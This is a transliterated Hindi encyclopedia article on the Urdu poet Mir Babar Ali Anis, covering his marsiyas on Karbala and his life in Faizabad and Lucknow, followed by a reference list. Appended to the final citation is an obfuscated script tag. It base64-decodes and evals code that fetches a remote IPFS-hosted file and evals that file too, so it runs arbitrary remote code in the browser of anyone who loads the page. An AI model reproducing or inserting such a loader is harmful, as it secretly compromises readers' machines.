मीर बाबर अली अनीस
thumb|250px mir babar ali anis (1803-1874) phaijabad mean janm liya. inake poorvajoan mean chhah sat pidhiyoan se achchhe kavi hote ae the. anis ne aranbh mean gajalean likhian aur apane pita se islah li. pita prasann to hue, par kahane lage ki aisi kavita to sab karate haian, tum aise vishayoan par likho ki eeshvar bhi prasann ho. anis ne tabhi se karbala ki durghatana aur imam husain ke balidan par likhana aranbh kar diya. us samay avadh mean shiya navaboan ka raj tha, isalie shokapoorn kavitaoan (marasiyoan) ki unnati ho rahi thi. anis bhi phaijabad se lakhanoo ae aur marasiya likhane lage. mir anis ne achchhe achchhe vidvanoan se arabi aur pharasi padhi thi aur ghu dasavari, shastravidya, vyayam adi ka bhi abhyas kiya tha. isase unako marasiya likhane mean b di suvidha huee. unhoanne marasiya ko (virakavy, epik) 'traijedi' ke aur nikat pahuancha diya. unaki kavita rajanitik aur saanskritik patan ke us yug mean viraras, naitikata aur jivan ke udar bhavoan se bhari huee hai. unaki kalpanashakti bahut prabal thi. bhasha ke prayog mean ve nipun the. unaka vishay naitik mahatv rakhata tha isalie unaki kavita mean ve sab visheshataean paee jati haian jo ek mahanh kalakar ke lie avashyak kahi ja sakati haian. marasiya unake hath mean matr shokapoorn dharmik rachana se age badhakar mahakavy ka roop dharan kar gaya jisake saman arabi, pharasi aur doosari bhashaoan mean bhi koee shokamayi rachana nahian paee jati.
mir anis us samay tak lakhanoo ke bahar kahian nahian ge jab tak ki 1857 ee. mean vahaan poornataya tabahi nahian a gee. apani mutyu se kuchh varsh pahale ve ilahabad, patana, banaras aur haidarabad ge jahaan unaka b da samman hua. is mahakavi ka 1874 mean lakhanoo mean dehaant hua. unake marasie paanch sangrahoan mean prakashit hue haian jinamean unaki sari rachanaean sammilit nahian haian. inake atirikt 'anis ke kalam' aur 'anis ki rubaiyaan' bhi prakashit ho chuki haian.[1]
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tika tippani aur sandarbh
- san.gran.-roohe anis, san. hasan rijavi; yadagare anis, amir ahamad alavi; vaqiate anis, ahasan lakhanavi; halate anis, ashahari; anis ki marasiyanigari, asar lakhanavi.
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 119 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>